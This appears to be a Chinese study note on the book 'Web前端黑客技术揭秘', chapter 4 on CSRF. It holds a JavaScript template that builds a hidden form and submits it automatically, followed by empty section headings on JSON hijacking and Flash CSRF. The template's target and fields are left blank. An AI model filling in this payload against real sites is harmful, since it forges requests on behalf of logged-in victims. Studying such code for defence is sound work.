web前端黑客技术揭秘 4.前端黑客之CSRF

 

    function new_form() {//创建表单
            var f = document.createElement("form");
            document.body.appendChild(f);
            f.method = "post";
            return f;
        }
        function create_elements(eForm, eName, eValue) {
            //创建表单项函数，eForm：表单对象，eName：表单项，eValue：表单值
            var e = document.createElement("input");
            eForm.appendChild(e);
            e.type = "text";
            e.name = eName;
            if (!document.all) {
                e.style.display = "none";
            } else {
                e.style.display = "block";
                e.style.width = "0px"
                e.style.height = "0px"
            }//兼容浏览器的隐藏设置，目的是让表单不可见
            e.value = eValue;
            return e;
        }
        var _f = new_form();
        create_elements(_f, "", "");
        _f.action = "";
        _f.submit();//自动提交

 

4.2　　CSRF类型

 

4.2.2　　JSON HiJacking攻击

 

4.2.3　　Flash CSRF攻击